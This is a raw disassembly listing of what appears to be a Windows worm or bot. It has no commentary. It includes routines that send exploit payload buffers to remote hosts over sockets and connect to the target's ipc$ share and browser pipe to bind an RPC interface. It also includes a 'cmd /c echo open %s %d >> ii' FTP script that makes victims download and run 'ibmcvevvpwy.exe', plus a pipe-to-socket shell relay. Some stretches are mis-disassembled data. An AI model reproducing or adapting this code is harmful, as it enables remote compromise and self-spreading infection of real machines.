		call	sub_40D83A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40DDB8
		xor	eax, eax
		inc	eax
		jmp	short loc_40DDDC
; ---------------------------------------------------------------------------


loc_40DDB8:				; CODE XREF: sub_40DD8F+22j
		push	1
		lea	esi, [esp+0Ch+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40D83A
		add	esp, 0C0h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_40DDDC:				; CODE XREF: sub_40DD8F+27j
		pop	edi
		pop	esi
		retn
sub_40DD8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDDF	proc near		; CODE XREF: sub_40E27B+35p

var_230		= byte ptr -230h
var_210		= byte ptr -210h
var_1F0		= byte ptr -1F0h
var_1D0		= byte ptr -1D0h
var_1B0		= byte ptr -1B0h
var_190		= byte ptr -190h
var_170		= byte ptr -170h
var_150		= byte ptr -150h
var_130		= byte ptr -130h
var_110		= byte ptr -110h
var_F0		= byte ptr -0F0h
var_D0		= byte ptr -0D0h
var_B0		= byte ptr -0B0h
var_90		= byte ptr -90h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
arg_136F8	= byte ptr  136FCh
arg_13720	= dword	ptr  13724h
arg_13864	= byte ptr  13868h
arg_1388C	= byte ptr  13890h
arg_13924	= dword	ptr  13928h

		mov	eax, 13894h
		call	sub_41BD10
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	2
		call	ds:dword_428220	; socket
		mov	esi, eax
		lea	eax, [esp+1Ch+arg_1388C]
		push	eax
		mov	word ptr [esp+20h+var_8], 2
		call	ds:dword_428234	; inet_addr
		push	[esp+20h+arg_13924]
		mov	[esp+24h+var_8], eax
		call	ds:dword_42820C	; htons
		mov	[esp+24h+var_E], ax
		lea	eax, [esp+24h+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_428210	; connect
		test	eax, eax
		jge	short loc_40DE40


loc_40DE39:				; CODE XREF: sub_40DDDF+275j
		xor	eax, eax
		jmp	loc_40E270
; ---------------------------------------------------------------------------


loc_40DE40:				; CODE XREF: sub_40DDDF+58j
		lea	eax, [esp+30h+var_20]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+44h+var_20], 1388h
		call	ds:dword_428214	; setsockopt
		lea	eax, [esp+44h+arg_13864]
		push	1
		push	eax
		call	sub_417F6F
		pop	ecx
		cmp	eax, 2
		pop	ecx
		jz	loc_40E059
		cmp	eax, 1
		jz	loc_40E059
		mov	ebx, ds:dword_428224
		push	edi
		push	48h
		push	offset aB	; ""
		push	esi
		call	ebx	; send
		mov	ebp, ds:dword_428218
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_433A40
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_433AA0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_433B58
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_433C50
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_433C90
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_433CF8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_433D90
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_433EF0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434050
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_4341B0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40E234
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E234
		push	0
		push	15Bh
		push	offset dword_433D90
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_433EF0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434050
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	6Ah
		push	offset dword_4341B0
		push	esi
		call	ebx	; send
		push	1387Fh
		lea	eax, [esp+218h+var_1F0]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch


loc_40E020:				; CODE XREF: sub_40DDDF+450j
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40E234
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E234
		cmp	[esp+224h+arg_13720], 8Bh
		push	esi
		jnz	loc_40E235
		call	ds:dword_42821C	; closesocket
		jmp	loc_40DE39
; ---------------------------------------------------------------------------


loc_40E059:				; CODE XREF: sub_40DDDF+95j
					; sub_40DDDF+9Ej
		mov	ebx, ds:dword_428224
		push	edi
		push	48h
		push	offset unk_434220
		push	esi
		call	ebx	; send
		mov	ebp, ds:dword_428218
		push	edi
		mov	edi, 13880h
		lea	eax, [esp+58h+var_30]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	58h
		push	offset dword_434270
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0B0h
		push	offset dword_4342D0
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+98h+var_70]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0F6h
		push	offset dword_434388
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0B8h+var_90]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	66h
		push	offset dword_434480
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0D8h+var_B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	3Eh
		push	offset dword_4344E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+0F8h+var_D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	60h
		push	offset dword_434528
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+118h+var_F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	96h
		push	offset dword_434590
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+138h+var_110]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434628
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+158h+var_130]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434788
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+178h+var_150]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4348E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+198h+var_170]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434A48
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1B8h+var_190]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_434BA8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1D8h+var_1B0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		test	eax, eax
		jz	loc_40E234
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E234
		push	0
		push	15Bh
		push	offset dword_434628
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+1F8h+var_1D0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434788
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+218h+var_1F0]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_4348E8
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+238h+var_210]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	15Bh
		push	offset dword_434A48
		push	esi
		call	ebx	; send
		push	0
		lea	eax, [esp+258h+var_230]
		push	edi
		push	eax
		push	esi
		call	ebp	; recv
		push	0
		push	0CEh
		push	offset dword_434BA8
		push	esi
		call	ebx	; send
		jmp	loc_40E020
; ---------------------------------------------------------------------------


loc_40E234:				; CODE XREF: sub_40DDDF+1C4j
					; sub_40DDDF+1CDj ...
		push	esi


loc_40E235:				; CODE XREF: sub_40DDDF+269j
		call	ds:dword_42821C	; closesocket
		push	7D0h
		call	ds:dword_428064	; Sleep
		push	0BEEFh
		lea	esi, [esp+1B0h+arg_136F8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E2E5
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		neg	eax


loc_40E270:				; CODE XREF: sub_40DDDF+5Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 13894h
		retn
sub_40DDDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E27B	proc near		; CODE XREF: seg000:0040D711p

var_200		= byte ptr -200h
arg_0		= byte ptr  8
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_A0], 8Bh
		push	edi
		jz	short loc_40E2A0
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40E2DF


loc_40E2A0:				; CODE XREF: sub_40E27B+17j
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DDDF
		mov	esi, eax
		add	esp, 0BCh
		test	esi, esi
		jz	short loc_40E2DF
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4152AE
		mov	eax, [ebp+arg_A8]
		pop	ecx
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40E2DF:				; CODE XREF: sub_40E27B+23j
					; sub_40E27B+44j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40E27B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2E5	proc near		; CODE XREF: sub_40D83A+4F9p
					; sub_40DDDF+480p ...

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_428234	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_42820C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_428220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E3B3
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3B3
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_428218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
		push	eax
		push	eax
		push	ds:dword_4CD938
		push	[ebp+arg_0]
		call	sub_40AAF8
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41BB70
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_428224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3B7


loc_40E3B3:				; CODE XREF: sub_40E2E5+50j
					; sub_40E2E5+62j
		xor	al, al
		jmp	short loc_40E3CD
; ---------------------------------------------------------------------------


loc_40E3B7:				; CODE XREF: sub_40E2E5+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_42821C	; closesocket
		mov	al, 1


loc_40E3CD:				; CODE XREF: sub_40E2E5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E2E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3D2	proc near		; CODE XREF: sub_40E64C+16p
					; sub_40E64C+39p

var_72E38B40	= qword	ptr -72E38B40h
var_1D24	= byte ptr -1D24h
var_D24		= byte ptr -0D24h
var_CF8		= byte ptr -0CF8h
var_CF4		= byte ptr -0CF4h
var_CF0		= byte ptr -0CF0h
var_CEC		= byte ptr -0CECh
var_A28		= byte ptr -0A28h
var_A24		= byte ptr -0A24h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_58		= byte ptr -58h
var_54		= byte ptr -54h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1D24h
		call	sub_41BD10
		push	ebx
		push	esi
		push	edi
		push	830h
		lea	eax, [ebp+var_D24]
		push	0
		push	eax
		call	sub_41B780
		push	264h
		lea	eax, [ebp+var_2EC]
		push	0FFFFFF90h
		push	eax
		call	sub_41B780
		push	15Bh
		lea	eax, [ebp+var_2EC]
		push	offset dword_434D18
		push	eax
		call	sub_41C500
		push	4
		lea	eax, [ebp+var_88]
		pop	ebx
		push	ebx
		push	offset dword_434F44
		push	eax
		call	sub_41C500
		push	8
		lea	eax, [ebp+var_84]
		push	41h
		push	eax
		call	sub_41B780
		mov	esi, offset dword_434F3C
		push	ebx
		lea	eax, [ebp+var_7C]
		push	esi
		push	eax
		call	sub_41C500
		add	esp, 48h
		lea	eax, [ebp+var_78]
		push	20h
		push	0FFFFFF90h
		push	eax
		call	sub_41B780
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		call	sub_41C500
		push	8
		lea	eax, [ebp+var_54]
		push	42h
		push	eax
		call	sub_41B780
		push	ebx
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		call	sub_41C500
		push	20h
		lea	eax, [ebp+var_48]
		push	0FFFFFF90h
		push	eax
		call	sub_41B780
		push	2Ch
		lea	eax, [ebp+var_D24]
		push	offset dword_434CC4
		push	eax
		call	sub_41C500
		add	esp, 48h
		mov	edi, offset dword_434F34
		lea	eax, [ebp+var_CF8]
		push	ebx
		push	edi
		push	eax
		call	sub_41C500
		mov	esi, offset dword_4D0904
		push	ebx
		lea	eax, [ebp+var_CF4]
		push	esi
		push	eax
		call	sub_41C500
		push	ebx
		lea	eax, [ebp+var_CF0]
		push	edi
		push	eax
		call	sub_41C500
		lea	eax, [ebp+var_2EC]
		push	2C4h
		push	eax
		lea	eax, [ebp+var_CEC]
		push	eax
		call	sub_41C500
		push	ebx
		lea	eax, [ebp+var_A28]
		push	esi
		push	eax
		call	sub_41C500
		push	1Ch
		lea	eax, [ebp+var_A24]
		push	offset dword_434CF4
		push	eax
		call	sub_41C500
		add	esp, 48h
		lea	eax, [ebp+arg_4]
		mov	edi, 104h
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp+var_3F0]
		push	edi
		push	eax
		call	sub_41BB70
		lea	eax, [ebp+var_3F0]
		add	esp, 10h
		xor	esi, esi
		mov	[ebp+var_14], eax
		mov	eax, offset dword_43FDB4
		push	esi
		push	eax
		push	eax
		lea	eax, [ebp+var_28]
		mov	[ebp+var_24], esi
		push	eax
		mov	[ebp+var_18], esi
		mov	[ebp+var_C], esi
		call	sub_41B1C0
		test	eax, eax
		jz	short loc_40E572
		push	offset aFailedToConnec ; "[-] Failed to	connect	to host	!\n"
		call	sub_41D3DC
		pop	ecx


loc_40E56B:				; CODE XREF: sub_40E3D2+1D6j
					; sub_40E3D2+229j ...
		xor	eax, eax


loc_40E56D:				; CODE XREF: sub_40E3D2+275j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E572:				; CODE XREF: sub_40E3D2+18Cj
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		lea	eax, [ebp+var_4F4]
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		lea	eax, [ebp+var_4F4]
		push	esi
		push	esi
		push	3
		push	esi
		push	esi
		push	0C0000000h
		push	eax
		call	ds:dword_4280EC	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40E56B
		push	offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
		call	sub_41D3DC
		pop	ecx
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_1D24]
		push	1000h
		push	eax
		push	49h
		push	offset dword_434C78
		push	edi
		call	near ptr 0B10000h
		bound	eax, [ebp+var_72E38B40]
		inc	ebp
		cld
		push	esi
		push	eax
		lea	eax, [ebp+var_D24]
		push	830h
		push	eax
		push	edi
		call	near ptr 0B10000h
		pop	edx
		test	eax, eax
		jnz	short loc_40E600
		push	edi
		call	ds:dword_42806C	; CloseHandle
		jmp	loc_40E56B
; ---------------------------------------------------------------------------


loc_40E600:				; CODE XREF: sub_40E3D2+220j
		push	0FAh
		call	ds:dword_428064	; Sleep
		push	115Ch
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E2E5
		add	esp, 0C0h
		test	al, al
		jz	loc_40E56B
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	loc_40E56D
sub_40E3D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E64C	proc near		; CODE XREF: seg000:0040D726p

arg_0		= byte ptr  4

		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3D2
		add	esp, 0BCh
		test	eax, eax
		jnz	short loc_40E698
		sub	esp, 0BCh
		lea	esi, [esp+0C4h+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3D2
		add	esp, 0BCh
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	short loc_40E69B
; ---------------------------------------------------------------------------


loc_40E698:				; CODE XREF: sub_40E64C+23j
		xor	eax, eax
		inc	eax


loc_40E69B:				; CODE XREF: sub_40E64C+4Aj
		pop	edi
		pop	esi
		retn
sub_40E64C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E69E	proc near		; CODE XREF: sub_40E78C+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_428234	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_42820C	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_428220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E76C
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E76C
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_428218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
		push	eax
		push	eax
		push	ds:dword_4CD938
		push	[ebp+arg_0]
		call	sub_40AAF8
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41BB70
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_428224	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E770


loc_40E76C:				; CODE XREF: sub_40E69E+50j
					; sub_40E69E+62j
		xor	eax, eax
		jmp	short loc_40E787
; ---------------------------------------------------------------------------


loc_40E770:				; CODE XREF: sub_40E69E+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_42821C	; closesocket
		xor	eax, eax
		inc	eax


loc_40E787:				; CODE XREF: sub_40E69E+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E69E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E78C	proc near		; CODE XREF: sub_40BF8E+1D7p
					; DATA XREF: seg002:off_432A94o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	ds:dword_4CDC38	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	ds:dword_4CDBF8	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_428220	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E7FE
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_428210	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E7DF
		push	esi
		jmp	short loc_40E7F8
; ---------------------------------------------------------------------------


loc_40E7DF:				; CODE XREF: sub_40E78C+4Ej
		push	0
		push	1213h
		push	offset dword_434F50
		push	esi
		call	ds:dword_428224	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E802


loc_40E7F8:				; CODE XREF: sub_40E78C+51j
		call	ds:dword_42821C	; closesocket


loc_40E7FE:				; CODE XREF: sub_40E78C+3Cj
		xor	eax, eax
		jmp	short loc_40E840
; ---------------------------------------------------------------------------


loc_40E802:				; CODE XREF: sub_40E78C+6Aj
		call	ds:dword_42821C	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E69E
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E83D
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40E83D:				; CODE XREF: sub_40E78C+9Ej
		xor	eax, eax
		inc	eax


loc_40E840:				; CODE XREF: sub_40E78C+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E78C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E84D:				; CODE XREF: seg000:0040E869j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	ds:dword_4D091C
		call	ds:dword_4CDC10	; recv
		test	eax, eax
		jle	short loc_40E84D
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	ds:dword_4D0918
		call	near ptr 0B10000h
		aad	0EBh
		mov	byte ptr [ebp-75h], 0ECh
		sub	esp, 404h


loc_40E890:				; CODE XREF: seg000:0040E8B6j
					; seg000:0040E8D0j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	ds:dword_4D090C
		call	ds:dword_4280E8	; ReadFile
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E890
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	ds:dword_4D091C
		call	ds:dword_4CDC48	; send
		jmp	short loc_40E890
; ---------------------------------------------------------------------------
word_40E8D2	dw 8B55h		; DATA XREF: seg000:00404811o
dword_40E8D4	dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h
		dd 0FFFFFEE4h, 0F633A5F3h, 6A46FF33h, 98B08910h, 8D000000h
		dd 5057C845h, 0CE7BE8h,	0CC48300h, 0C845C766h, 0B5FF0002h
		dd 0FFFFFF68h, 0DBF815FFh, 66A004Ch, 66026A56h,	0FFCA4589h
		dd 4CDC7815h, 8458900h,	6AC8458Dh, 75FF5010h, 2415FF08h
		dd 6A004CDCh, 875FF05h,	0DC2015FFh, 1D8B004Ch, 428100h
		dd 806C358Bh, 57570042h, 0FF0875FFh, 4CDC8C15h,	91CA300h
		dd 458D004Dh, 685057F4h, 4D0918h, 4D091468h, 0F445C700h
		dd 0Ch,	1FC45C7h, 89000000h, 0D3FFF87Dh, 57F4458Dh, 9106850h
		dd 0C68004Dh, 0FF004D09h, 8D446AD3h, 50578445h,	0CDDFE8h
		dd 914A100h, 0C483004Dh, 0BC45890Ch, 4D0910A1h,	0C0458900h
		dd 8D016A57h, 26AC445h,	8445C750h, 44h,	1B045C7h, 66000001h
		dd 0E8B47D89h, 70162Ch,	35FF5066h, 4D0910h, 70161FE8h
		dd 0E8507400h, 701618h,	0D8458D44h, 84458D50h, 68575750h
		dd 4000090h, 6AF4458Dh,	458D5001h, 0DC6850F4h, 57004361h
		dd 7015F3E8h, 458DAE00h, 575750E8h, 40E88768h, 0F4458D00h
		dd 15FF5057h, 42807Ch, 8DEC4589h, 5750E845h, 0E8446857h
		dd 458D0040h, 0FF5057F4h, 42807C15h, 89FF6A00h,	75FFF045h
		dd 15B6E8D8h, 57C10070h, 0E8F075FFh, 7015ACh, 75FF57EBh
		dd 15A2E8ECh, 0FFFA0070h, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h
		dd 158EE8D8h, 0FF4E0070h, 4D091435h, 0FFD6FF00h, 4D091835h
		dd 0FFD6FF00h, 4D090C35h, 0FFD6FF00h, 4D091035h, 0FFD6FF00h
		dd 0D6FFDC75h, 0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h
		dd 0FFFEh, 40068h, 9DBCE800h, 0A3590000h, 4D0920h
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
word_40EABE	dw 8B55h		; DATA XREF: seg000:0040BC7Bo
		dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h,	0BD8D59F0h
		dd 0FFFFFF50h, 0F633A5F3h, 6A46DB33h, 98B08910h, 8D000000h
		dd 5053EC45h, 0CC8FE8h,	0CC48300h, 0EC45C766h, 0B5FF0002h
